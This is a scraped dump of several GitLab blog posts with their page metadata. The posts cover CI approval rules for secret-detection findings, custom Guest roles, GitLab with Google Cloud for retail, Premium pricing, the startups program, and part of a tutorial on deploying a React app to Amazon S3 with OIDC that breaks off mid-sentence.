should check out [this video introduction](https://www.youtube.com/watch?v=w5I9gcUgr9U&ab_channel=GitLabUnfiltered) instead.*\n\nLearn how to do the following:\n\n1. Set up a .gitlab-ci.yml\n2. Add in a vulnerability processing script\n3. Require approval if vulnerabilities are found \n\n### Prerequisites\n\n- A project with GitLab Premium\n- A gitlab-ci.yml\n- A project access token\n- Basic knowledge of Python\n- 5 minutes (or less)\n\n## Setup the gitlab-ci.yml \n\nThis is how the GitLab CI pipeline of our test project looks visually. Below we will break down the individual stages.\n\nAdd the following to your .gitlab-ci.yml:\n\n```yaml\nsecret_detection:\n  artifacts:\n    paths:\n      - gl-secret-detection-report.json\n\nprocess_secret_detection:\n   image: python:3.7-alpine3.9\n   stage: process_vulns\n   needs:\n    - job: secret_detection\n      artifacts: true\n   before_script:\n      pip install python-gitlab\n   script:\n     - python3 process_vulns.py gl-secret-detection-report.json $PROJECT_ACCESS_TOKEN $CI_PROJECT_ID $CI_COMMIT_SHA\n```\n\nA breakdown of what is going on above:\n- gl-secret-detection-report.json needs to be overriden so it’s being stored as an artifact in the secret_detection job.\n- The process_secret_detection job is dependent on secret_detection's artifact so we have added a needs keyword requiring successful completion of the secret_detection job.\n- pip installs the python-gitlab dependency so that the process_vulns.py can leverage GitLab API calls.\n- The process_vulns.py is taking in four arguments:\n   - gl-secret-detection-report.json is the JSON report produced from the secret_detection scanner. If you would like to take in another report this will need to be modified.\n   - $PROJECT_ACCESS_TOKEN needs to be added; review the instructions on creating a project access token in the next step.\n   - $CI_PROJECT_ID and $CI_COMMIT_SHA are both GitLab CI environment variables that will automatically be inferred.\n\n### Create a project access token\n\nTo create a project access token:\n1. On the top bar, select Main menu > Projects and find your project.\n2. On the left sidebar, select Settings > Access Tokens.\n3. Enter a name. The token name is visible to any user with permissions to view the project.\n4. Optional. Enter an expiry date for the token. The token expires on that date at midnight UTC. An instance-wide maximum lifetime setting can limit the maximum allowable lifetime in self-managed instances.\n5. Select a role for the token.\n6. Select the desired scopes.\n7. Select Create project access token.\n8. Add this newly created project access token to your CI/CD variables in your project settings!\n\n## Add in the vulnerability processing script\n\n[The process_vulns.py script can be found here.]((https://gitlab.com/gl-demo-premium-smorris/secure-premium-app/-/blob/main/process_vulns.py) Copy that file into your project.\n\nThe goal of this script is to require approval from an author (or group of authors) if a critical vulnerability is found.\n\n**Note:** You will need to [change the user ID in the process_vulns.py](https://gitlab.com/gl-demo-premium-smorris/secure-premium-app/-/blame/main/process_vulns.py#L40) to match the user ID of your designated Approver at your organization.\n\nThe following is a breakdown of what the script is doing:\n\n- JSON security reports are loaded in, if there any vulnerabilities they are parsed.\n- An authentication with GitLab is run using the project access token to interact with the project.\n- If vulnerabilities are not found, then it will print to the GitLab CI Logs: “No vulnerabilities are found.”\n- If a critical vulnerability is found, then it will require an approval.\n\nRun the pipeline and voila! Your pipeline now requires approvers if a critical vulnerability is found!\n\n### Demo\n\nWatch a video demonstration of how to action security vulnerabilities in GitLab Premium, presented by Sam Morris:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/Cld36OZrLFo\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen>\u003C/iframe>\n\n#### Caveats\n- This is mimicking a Scan Result Policy; it is not a replacement.\n- This currently only requires approval for a critical vulnerability, and each new rule would have to be added to the script.\n- This script lives within the same location as your project, so there is no restriction on who can modify the script, breaking separation of duties at scale.\n- Approval rules are not removed once the vulnerability is fixed.\n- Approvers' IDs need to be hardcoded and maintained in the script file.\n- Since there is no vulnerability record generated, you cannot track the vulnerabilities over time in your application.\n- Vulnerabilities are not fed into a report or security dashboard, so this only reports merge request vulnerabilities.\n\n## References\n- [Create a project access token](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token)\n- [Setting up CI/CD variables](https://docs.gitlab.com/ee/ci/variables/#define-a-cicd-variable-in-the-ui)\n- [Secure Premium app project](https://gitlab.com/gl-demo-premium-smorris/secure-premium-app/-/blob/main/process_vulns.py)\n\n## Related posts\n- [GitLab's commitment to enhanced application security in the modern DevOps world](/blog/security-gitlab-15/)\n- [How to become more productive with Gitlab CI](/blog/how-to-become-more-productive-with-gitlab-ci/)\n- [GitLab CI DRY Development](/blog/keeping-your-development-dry/)\n\n_Cover image by [Christopher Burns](https://unsplash.com/@christopher__burns?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com)._",[674,943,1384,1385,696],{"slug":10849,"featured":6,"template":678},"actioning-security-vulnerabilities-in-gitlab-premium","content:en-us:blog:actioning-security-vulnerabilities-in-gitlab-premium.yml","Actioning Security Vulnerabilities In Gitlab Premium","en-us/blog/actioning-security-vulnerabilities-in-gitlab-premium.yml","en-us/blog/actioning-security-vulnerabilities-in-gitlab-premium",{"_path":10855,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10856,"content":10862,"config":10867,"_id":10869,"_type":16,"title":10870,"_source":17,"_file":10871,"_stem":10872,"_extension":20},"/en-us/blog/expanding-guest-capabilities-in-gitlab-ultimate",{"title":10857,"description":10858,"ogTitle":10857,"ogDescription":10858,"noIndex":6,"ogImage":10859,"ogUrl":10860,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10860,"schema":10861},"The feature you wanted - Expanded Guest capabilities in GitLab Ultimate","GitLab Ultimate customers can now provide Guests the ability to view code. Learn how to access this new capability.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682652/Blog/Hero%20Images/iterating-cover.jpg","https://about.gitlab.com/blog/expanding-guest-capabilities-in-gitlab-ultimate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The feature you wanted - Expanded Guest capabilities in GitLab Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hannah Sutor\"}],\n        \"datePublished\": \"2023-03-08\",\n      }",{"title":10857,"description":10858,"authors":10863,"heroImage":10859,"date":10864,"body":10865,"category":734,"tags":10866},[6939],"2023-03-08","\n\n[Customizable roles](https://docs.gitlab.com/ee/user/permissions.html) have been on GitLab's roadmap for the past two years. When we began working on them a year ago, our team struggled to find the [minimal viable change](https://about.gitlab.com/handbook/product/product-principles/#the-minimal-viable-change-mvc) (MVC) that would benefit customers. At the same time, through different feedback channels, customers were telling us they wanted more from their Ultimate tier Guest user roles. There it was: our MVC!\n\nHere is what happened next.\n\n## Our MVC journey\n\nWhen we began working on customizable roles, we knew that the six static, out-of-the-box roles that come with GitLab were not flexible enough to cover the use cases of our customers. Some roles were too permissive, while others didn’t grant the permissions necessary to accomplish a task. At a time when security and abiding by [the principle of least privilege](https://www.techtarget.com/searchsecurity/definition/principle-of-least-privilege-POLP) is more top of mind than ever, we needed to give our customers a way to define their own roles.\n\nThe customer ask was clear, but the implementation path was not. Performance considerations were top of mind. Permission policies are evaluated when any user action is performed, and we need a secure but scalable way for thousands of users, who may have hundreds of custom roles created, to do their work in GitLab. The team did a lot of technical discovery and performance testing in order to ensure the chosen technical implementation was scalable.\n\nWe decided to start with a very small implementation of custom roles - something that would be meaningful to customers, while also allowing our team to test the new backend implementation that will support custom role creation and usage.\n\n## How custom roles work\n\nFor our MVC, we decided that GitLab.com customers with an Ultimate license should be able to create a custom role that is based on the current “Guest” role. They will be able to add one additional permission to the “Guest” role - the ability to view code. This effectively creates a “Guest+1” role. They can then assign this custom role to any existing user. \n\nPreviously, Guests were able to view code on Self-Managed GitLab, and only on internal or public projects. Now, this functionality is available to Guests across the board - in GitLab.com and Self-Managed GitLab, and regardless of project visibility setting. You just need to create and apply the custom Guest role to any user who wishes to view code.\n\nYou can read more about how to [implement this yourself](https://docs.gitlab.com/ee/user/permissions.html#custom-roles) and watch a demo [here](https://about.gitlab.com/releases/2023/02/22/gitlab-15-9-released/#users-with-the-guest-role-can-view-private-repositories).\n\n## Create a custom role\n\nUse the API to create the “Guest+1” custom role. This role will show up as \"Guest - custom\" in the UI, so that it's easy to see which users have this version of the \"Guest\" role assigned.\n\nOnce the custom role is created, you can [use the API](https://docs.gitlab.com/ee/user/permissions.html#custom-roles) to associate it to a list of users. Voila! Now, your users have a custom role that allows them to view code as a Guest.\n\n![customizable guest role](https://about.gitlab.com/images/blogimages/iterating-towards-customizable-roles/guest-custom-role.png){: .shadow}\n\n## Why this MVC?\n\nSometimes, something is so loud that you’re forced to listen to it. That’s undoubtedly how I felt when I heard the dissatisfaction of our Ultimate customers around Guest users in private projects.\n\nAn unlimited number of Guest users are free with a GitLab Ultimate subscription. However, if the Guest user doesn’t have enough access to really do much within the product, is it really of any value at all? Customers left us a lot of feedback that the low level of privilege the Guest users have for private projects was detrimental to their users' workflows - making those “free” users not actually useful at all. We knew it was time to deliver more value.\n\n## What’s next\n\nOur final vision for customizable roles in GitLab is for our users to be able to take what exists today in our [permissions table](https://docs.gitlab.com/ee/user/permissions.html) and toggle each permission off/on as they please to define a custom role. \n\nWe plan to start on this by [consolidating](https://gitlab.com/groups/gitlab-org/-/epics/8914) some of these permissions - both for practical and performance reasons. As you can imagine, some permissions don’t make sense to be toggled “on” if a different feature is “off.\" We will be removing the need for complex logic by consolidating permissions into larger sets that make sense to be enabled/disabled at the same time. This should also translate nicely on the usability side - permutations of 100+ individual permissions would be unwieldy to manage, as a systems administrator, and difficult to understand your role definition, as an end user.\n\nThis update to custom roles is a great example of our iteration value here at GitLab, and I’m most excited about the fact that it’s solving an acute pain point for our Ultimate customers. They deserve to get a lot of value out of their Ultimate subscription, and I am hopeful that an additional permission for Guest users is one way we can increase their value. It’s also a great first step towards our grand customizable roles vision. I hope you’ll give it a try!\n\n**Check out this demo that shows the customizable guest role in action:**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/46cp_-Rtxps\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[754,2368,479],{"slug":10868,"featured":6,"template":678},"expanding-guest-capabilities-in-gitlab-ultimate","content:en-us:blog:expanding-guest-capabilities-in-gitlab-ultimate.yml","Expanding Guest Capabilities In Gitlab Ultimate","en-us/blog/expanding-guest-capabilities-in-gitlab-ultimate.yml","en-us/blog/expanding-guest-capabilities-in-gitlab-ultimate",{"_path":10874,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10875,"content":10881,"config":10885,"_id":10887,"_type":16,"title":10888,"_source":17,"_file":10889,"_stem":10890,"_extension":20},"/en-us/blog/gitlab-and-google-cloud",{"title":10876,"description":10877,"ogTitle":10876,"ogDescription":10877,"noIndex":6,"ogImage":10878,"ogUrl":10879,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10879,"schema":10880},"How GitLab and Google Cloud drive innovation and efficiency for retailers","Learn how pairing DevSecOps with multicloud environments eases the development burden on retailers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667457/Blog/Hero%20Images/open_source_program_blog_image.jpg","https://about.gitlab.com/blog/gitlab-and-google-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab and Google Cloud drive innovation and efficiency for retailers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2023-03-08\",\n      }",{"title":10876,"description":10877,"authors":10882,"heroImage":10878,"date":10864,"body":10883,"category":962,"tags":10884},[919],"\nInnovation and growth can sometimes be at odds in the world of retail, especially when trying to develop, deploy, and manage modern applications across multicloud environments. GitLab and Google Cloud together help retailers create and secure software that scales along with their business.\n\nGitLab’s comprehensive [DevSecOps Platform](/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/) connects with Google Cloud’s [Distributed Cloud Edge](https://cloud.google.com/distributed-cloud/edge/latest/docs/overview) edge networking environment and [Anthos](https://cloud.google.com/anthos/docs/concepts/overview) cloud-centric container platform to provide retailers with enterprise-class features such as collaboration and planning, continuous integration ([CI](https://docs.gitlab.com/ee/ci/)), configuration management, and built-in security and compliance.\n\nGitLab enables development teams to streamline management of their distributed, hybrid environments right out of the gate. Retailers can utilize the following capabilities:\n\n* Agile planning and collaboration to ensure Anthos cloud container cluster configurations and policies are up to date and compliant with company standards.\n* Continuous integration to help develop quality code and configurations while simultaneously reducing code errors.\n* Configuration management to roll back to previously working Anthos states or configurations.\n* Native integration with Google Cloud to deploy software faster and more securely.\n\n## Why GitLab for retail?\n\nMulticloud environments are beneficial to retailers because they enable them to easily deploy and manage applications across a vast network of stores, warehouses, and the like. In addition, developing and hosting applications in the cloud provides more choice, faster delivery (i.e. time to market), real-time data access, and the ability to automatically scale resources (up or down). As more retailers look to cloud platforms to achieve these goals, GitLab is uniquely positioned to help them manage these environments in a way that keeps them agile, secure, and able to meet customer demands. \n\nGitLab’s DevSecOps Platform is geared toward helping retailers gain operational efficiencies throughout the software development lifecycle and across [multicloud environments](https://about.gitlab.com/topics/multicloud/) like Google Cloud. \n\nDevelopers at retailers can leverage the full range of features in GitLab’s DevSecOps Platform to build, test, deploy, and secure high-performance, low-latency business-critical applications, such as point of sale. \n\n[Google Distributed Cloud Edge](https://cloud.google.com/distributed-cloud/edge/latest/docs/overview) retail customers can use GitLab to manage their hybrid cloud policies, manage configurations, and administer [Anthos](https://cloud.google.com/anthos/docs) clusters. GitLab’s industry-leading DevSecOps Platform helps developers streamline in-store technology management processes and makes it easier for DevSecOps teams to collaborate. GitLab’s DevSecOps Platform also has built-in security and compliance to meet the unique auditing and reporting needs of retailers. \n\n## Use case: Automated deployment at scale\n\nRetail companies with multiple locations need technology that enables them to manage sprawling resources and maintain smooth operations, even when major changes are introduced. With GitLab’s DevSecOps Platform, retailers can automatically sync configurations and data across their Google Cloud, as well as other cloud and on-premises environments. This is critical for large retailers looking to scale hybrid Anthos clusters vertically across their network with Google Distributed Cloud Edge machines.\n\nGitLab also lets developers easily collaborate and make changes using Agile tools, Merge Requests, and requirements-based workflows. This creates a streamlined, audit-ready process that helps team members make decisions quickly.\n\nConfigurations are stored as YAML files in GitLab repositories, where teams can use a different repository per configuration state. Anthos Configuration Management then retrieves the appropriate configurations when network access is available, allowing for specific regional changes to be made.\n\nOnce changes are reconciled across regions, the new configurations are automatically applied and propagated to the correct Google Distributed Cloud Edge nodes. This secure, scalable process can be used at thousands of locations, decreasing the company's time to value and increasing ROI.\n\nHaving the right technology is a key driver of growth and innovation for retailers. Investing in technology and utilizing platforms like GitLab and Google Cloud can be a game changer for retailers looking to thrive in today's competitive market.\n",[3949,1384,674,232],{"slug":10886,"featured":6,"template":678},"gitlab-and-google-cloud","content:en-us:blog:gitlab-and-google-cloud.yml","Gitlab And Google Cloud","en-us/blog/gitlab-and-google-cloud.yml","en-us/blog/gitlab-and-google-cloud",{"_path":10892,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10893,"content":10898,"config":10903,"_id":10905,"_type":16,"title":10906,"_source":17,"_file":10907,"_stem":10908,"_extension":20},"/en-us/blog/gitlab-premium-update",{"title":10894,"description":10895,"ogTitle":10894,"ogDescription":10895,"noIndex":6,"ogImage":9425,"ogUrl":10896,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10896,"schema":10897},"New pricing for GitLab Premium","Learn more about the GitLab Premium updates.","https://about.gitlab.com/blog/gitlab-premium-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New pricing for GitLab Premium\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2023-03-02\",\n      }",{"title":10894,"description":10895,"authors":10899,"heroImage":9425,"date":10900,"body":10901,"category":736,"tags":10902},[1524],"2023-03-02","\nEffective April 3, 2023, GitLab is increasing the [list price of GitLab Premium](https://about.gitlab.com/pricing/) from $19 to $29 per user per month. Existing GitLab Premium customers will have a one-time transition price of $24 per user per month automatically applied to their upcoming renewals until April 2, 2024. As GitLab’s first price increase in more than five years, this new pricing for GitLab Premium reflects the evolution of GitLab **from source control and CI to the most comprehensive DevSecOps Platform**. Over the past five years, GitLab Premium added [more than 400 features](https://gitlab-com.gitlab.io/cs-tools/gitlab-cs-tools/what-is-new-since/?tab=features&minVersion=10_05&selectedMinTier=premium&selectedMaxTier=premium), leading to [improved cycle times](https://about.gitlab.com/customers/airbus/), enhanced [developer experience](https://about.gitlab.com/customers/moneyfarm/), and better collaboration for our customers.\n\n## GitLab Premium evolution and benefits\n\nSince February 2018, we expanded [GitLab Premium](https://about.gitlab.com/pricing/premium/) to include [more than 400 features](https://gitlab-com.gitlab.io/cs-tools/gitlab-cs-tools/what-is-new-since/?tab=features&minVersion=10_05&selectedMinTier=premium&selectedMaxTier=premium) across the entire software delivery lifecycle so customers can focus on delivering high-quality software faster. We’ve added notable capabilities including:\n- **Ease of getting started**: Built-in templates and automatic pipeline creation using Auto DevOps make it easy to get started.\n- **Pipeline execution**: Parent-child pipelines, directed acyclic graphs, and merge trains help to establish relationships, sequencing, and priorities of jobs to ensure faster execution and keep the target branch stable.\n- **Agile planning**: Roadmaps, epics, boards, and milestones enable enterprise Agile planning best practices and management of projects, programs, and products at a team and organizational level.\n- **Analytics and visibility**: Value stream analytics, contribution analytics, environments dashboards, MR analytics, code review analytics, and more track metrics driving software delivery efficiency.\n- **Release controls**: Code owners, multiple approvers, approval rules, protected environments, various rollout strategies like incremental/canary, feature flags, and fine-grained authentication and authorization mechanisms minimize production risks and ensure shipping high-quality code.\n- **Compliance**: Compliance frameworks and audit events enable compliance adherence.\n- **Performance and fault tolerance**: Distributed cloning using GitLab Geo, fault-tolerant git storage with Gitaly, geographic replication, and load balancing for self-managed deployment of GitLab for improved performance and fault tolerance. \n\nSee the [upcoming releases roadmap](https://about.gitlab.com/direction/paid_tiers/) to learn how GitLab will continue to iterate on GitLab Premium to deliver value and innovation to customers every month. \n\nThis change does not apply to GitLab Ultimate customers or users of our [community programs](https://about.gitlab.com/community/), including GitLab for [Startups](https://about.gitlab.com/solutions/startups/), [Education](https://about.gitlab.com/solutions/education/), and [Open Source](https://about.gitlab.com/solutions/open-source/). \n\nAlso, for a limited time, we will be providing new Premium customers the same one-time discount of $24 per user per month for their first year.\n\nPlease find more information in the [Customer FAQs](https://about.gitlab.com/pricing/faq-premium-update/) or contact your GitLab Sales Representative. Additional [transition offer terms](https://about.gitlab.com/pricing/terms/) apply.\n",[736],{"slug":10904,"featured":6,"template":678},"gitlab-premium-update","content:en-us:blog:gitlab-premium-update.yml","Gitlab Premium Update","en-us/blog/gitlab-premium-update.yml","en-us/blog/gitlab-premium-update",{"_path":10910,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10911,"content":10916,"config":10922,"_id":10924,"_type":16,"title":10925,"_source":17,"_file":10926,"_stem":10927,"_extension":20},"/en-us/blog/expanding-gitlab-for-startups-program",{"title":10912,"description":10913,"ogTitle":10912,"ogDescription":10913,"noIndex":6,"ogImage":9425,"ogUrl":10914,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10914,"schema":10915},"Expanding GitLab for Startups program","Learn how startups can access the complete DevSecOps platform.","https://about.gitlab.com/blog/expanding-gitlab-for-startups-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Expanding GitLab for Startups program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2023-03-01\",\n      }",{"title":10912,"description":10913,"authors":10917,"heroImage":9425,"date":10918,"body":10919,"category":736,"tags":10920},[1761],"2023-03-01","\nGitLab is committed to supporting the startup community, and we are excited to announce the expansion of our [GitLab for Startups program](/solutions/startups/). Our goal has always been to help businesses of all sizes streamline their development processes and improve collaboration, and we recognize the unique challenges that startups face. \n\nStarting on March 15, 2023, our GitLab for Startups program will include qualifying startups backed by external funding. Based on funding level and years in the program, qualifying startups are able to utilize our complete DevSecOps platform at a highly discounted price or possibly at no cost for the first year. The program will continue supporting eligible startups with deep discounts in the second year.  \n\nWith GitLab, startups are able to reduce software development cycles, reduce time to market, and improve product quality. By adopting a single application for the entire DevSecOps lifecycle, startups can develop software faster and focus more on growing their customer base, increasing revenue, and differentiating their product in the market.\n\n![Chart listing eligibility requirements](https://about.gitlab.com/images/blogimages/gitlabforstartupscriteria.png)\n\nQualifying startups can submit the application form on our [GitLab for Startups page](/solutions/startups/join/) starting on March 15, 2023. For additional questions regarding this offer, please see our FAQ section on the GitLab for Startups page or feel free to reach out to us at startups@gitlab.com.\n",[943,10921,736],"startups",{"slug":10923,"featured":6,"template":678},"expanding-gitlab-for-startups-program","content:en-us:blog:expanding-gitlab-for-startups-program.yml","Expanding Gitlab For Startups Program","en-us/blog/expanding-gitlab-for-startups-program.yml","en-us/blog/expanding-gitlab-for-startups-program",{"_path":10929,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10930,"content":10936,"config":10941,"_id":10943,"_type":16,"title":10944,"_source":17,"_file":10945,"_stem":10946,"_extension":20},"/en-us/blog/how-to-deploy-react-to-amazon-s3",{"title":10931,"description":10932,"ogTitle":10931,"ogDescription":10932,"noIndex":6,"ogImage":10933,"ogUrl":10934,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10934,"schema":10935},"How to deploy a React application to Amazon S3 using GitLab CI/CD","Follow this guide to use OpenID Connect to connect to AWS and deploy a React application to Amazon S3.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663291/Blog/Hero%20Images/cover1.jpg","https://about.gitlab.com/blog/how-to-deploy-react-to-amazon-s3","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to deploy a React application to Amazon S3 using GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeremy Wagner\"}],\n        \"datePublished\": \"2023-03-01\",\n      }",{"title":10931,"description":10932,"authors":10937,"heroImage":10933,"date":10918,"body":10939,"category":734,"tags":10940},[10938],"Jeremy Wagner","\n\nAmazon S3 has a Static Website Hosting feature which allows you to host a static website directly from an S3 bucket. When you \nhost your website on S3, your website content is stored in the S3 bucket and served directly to your users, without the need \nfor additional resources. Combine this with Amazon CloudFront and you will have a cost-effective and scalable solution for \nhosting static websites – making it a popular choice for single-page applications.\n\nIn this post, I will walk you through setting up your Amazon S3 bucket, setting up OpenID Connect ([OIDC](https://openid.net/connect/)) in AWS, and deploying your application \nto your Amazon S3 bucket using a GitLab [CI/CD](/topics/ci-cd/) pipeline.\n\nBy the end of this post, you will have a [CI/CD pipeline](/blog/how-to-keep-up-with-ci-cd-best-practices/) built in GitLab that automatically deploys to your Amazon S3 bucket. Let's dive in.\n\n## Prerequisites\n\nFor this guide you will need the following:\n\n- [Node.js](https://nodejs.org/en/) >= 14.0.0 and npm >= 5.6 installed on your system\n- [Git](https://git-scm.com/) installed on your system\n- A [GitLab](https://gitlab.com/-/trial_registrations/new) account\n- An [AWS](https://aws.amazon.com/free/) account\n\n[A previous tutorial](/blog/how-to-automate-testing-for-a-react-application-with-gitlab/) demonstrated how to create a new React \napplication, run unit tests as part of the CI process in GitLab, and output the test results and code coverage into the pipeline. This post continues where that project left off, so to follow along you can fork [this project](https://gitlab.com/guided-explorations/engineering-tutorials/react-unit-testing) or complete the guide in the linked post.\n\n## Configure your Amazon S3 bucket\n\nYou'll need to configure your Amazon S3 bucket so let's do that first.\n\n### Create your bucket\n\nAfter you log in to your AWS account, search for S3 using the search bar and select the S3 service. This will open the S3 service home page.\n\nRight away, you should see the option to create a bucket. The bucket is where you are going to store your built React application. Click the **Create bucket** button to continue.\n\n![Create S3 bucket](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/create_bucket.png){: .shadow}\n\nGive your bucket a name, select your region, leave the rest of the settings as default (we’ll come back to these later), and continue by \nclicking the **Create bucket** button. When naming your bucket, it’s important to remember that your bucket name must be unique and follow the \nbucket naming rules. I named mine `jw-gl-react`.\n\nAfter creating your bucket, you should be taken to a list of your buckets as shown below.\n\n![S3 bucket list](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/bucket_list.png){: .shadow}\n\n### Configure static website hosting\n\nThe next step is to configure static website hosting. Open your S3 bucket by clicking into the bucket name. Select the **Properties** tab and \nscroll to the bottom to find the static website hosting option.\n\n![static hosting button](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/static_hosting_1.png){: .shadow}\n\nClick **Edit** and then enable static website hosting. For the **Index** and **Error** document, enter `index.html` and then click **Save changes**.\n\n![edit static hosting](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/static_hosting_2.png){: .shadow}\n\n### Set up permissions\n\nNow that you have enabled static website hosting, you need to update your permissions so the public can visit your website. Return to your bucket and select the **Permissions** tab.\n\nUnder **Block public access (bucket settings)**, click **Edit** and uncheck **Block all public access** and continue to **Save changes**.\n\n![block public access](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/block_access_1.png){: .shadow}\n\nYour page should now look this this:\n\n![saved blocked public access](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/block_access_2.png){: .shadow}\n\nNow, you need to edit the Bucket Policy. Click the **Edit** button in the **Bucket Policy** section. Paste the following code into your new policy:\n\n```javascript\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"PublicReadGetObject\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": \"s3:GetObject\",\n            \"Resource\": \"arn:aws:s3:::jw-gl-react/*\"\n        }\n    ]\n}\n```\n\nReplace `jw-gl-react` on the resource property with the name of your bucket and **Save changes**.\n\nYour bucket should now look like this:\n\n![publicly accessible bucket](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/block_access_3.png){: .shadow}\n\n## Manually upload your React application\n\nNow, let’s build your React application and manually publish it to your S3 bucket. \n\nTo build the application, make sure your project is cloned to your local machine and run the following command in your terminal inside of your \nrepository directory:\n\n```\nnpm run build\n```\n\nThis will create a build folder inside of your repository directory.\n\nInside of your bucket, click the **Upload** button.\n\n![manual bucket upload](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/upload_1.png){: .shadow}\n\nDrag the contents of your newly created build folder (not the folder itself) into the upload area. This will \nupload the contents of your application into your S3 bucket. Make sure to click **Upload** at the bottom of the page to start the upload.\n\nNow return to your bucket **Properties** tab and scroll to the bottom to find the URL of your static website.\n\n![static website url](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/upload_2.png){: .shadow}\n\nClick the link and you should see your built React application open in your browser.\n\n![deployed app](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/manual_deploy.png){: .shadow}\n\n## Set up OpenID Connect in AWS\n\nTo deploy to your S3 Bucket from GitLab, we’re going to use a GitLab CI/CD job to receive temporary credentials \nfrom AWS without needing to store secrets. To do this, we’re going to configure OIDC for ID federation \nbetween GitLab and AWS. We’ll be following the [related GitLab documentation](https://docs.gitlab.com/ee/ci/cloud_services/aws/).\n\n### Add the identity provider\n\nThe first step is going to be adding GitLab as an identity and access management (IAM) OIDC provider in AWS. AWS has instructions located [here](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html), \nbut I will walk through it step by step.\n\nOpen the IAM console inside of AWS.\n\n![iam search](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/iam_1.png){: .shadow}\n\nOn the left navigation pane, under **Access management** choose **Identity providers** and then choose **Add provider**. \nFor provider type, select **OpenID Connect**.\n\nFor **Provider URL**, enter the address of your GitLab instance, such as `https://gitlab.com` or `https://gitlab.example.com`.\n\nFor **Audience**, enter something that is generic and specific to your application. In my case, I'm going to \nenter `react_s3_gl`. To prevent confused deputy attacks, it's best to make this something that is not easy to guess. Take a note of \nthis value, you will use it to set the `ID_TOKEN` in your `.gitlab-ci.yml` file.\n\nAfter entering the **Provider URL**, click **Get thumbprint** to verify the server certificate of your IdP. After this, go \nahead and choose **Add provider** to finish up.\n\n### Create the permissions policy\n\nAfter you create the identity provider, you need to create a permissions policy.\n\nFrom the IAM dashboard, under **Access management** select **Policies** and then **Create policy**. \nSelect the JSON tab and paste the following policy replacing `jw-gl-react` on the resource line with your bucket name.\n\n```javascript\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:ListBucket\"],\n      \"Resource\": [\"arn:aws:s3:::jw-gl-react\"]\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:PutObject\",\n        \"s3:GetObject\",\n        \"s3:DeleteObject\"\n      ],\n      \"Resource\": [\"arn:aws:s3:::jw-gl-react/*\"]\n    }\n  ]\n}\n```\n\nSelect the **Next: Tags** button, add any tags you want, and then select the **Next: Review** button. \nEnter a name for your policy and finish up by creating the policy. \n\n### Configure the role\n\nNow it’s time to add the role. From the IAM dashboard, under **Access management** select **Roles** \nand then select **Create role**. Select **Web identity**.\n\nIn the **Web identity** section, select the identity provider you created earlier. For the \n**Audience**, select the audience you created earlier. Select the **Next** button to continue.\n\nIf you wanted to limit authorization to a specific group, project, branch, or tag, you could create a **Custom trust policy** \ninstead of a **Web identity**. Since I will be deleting these resources after the tutorial, I'm going to keep it simple. For a \nfull list of supported filterting types, see the [GitLab 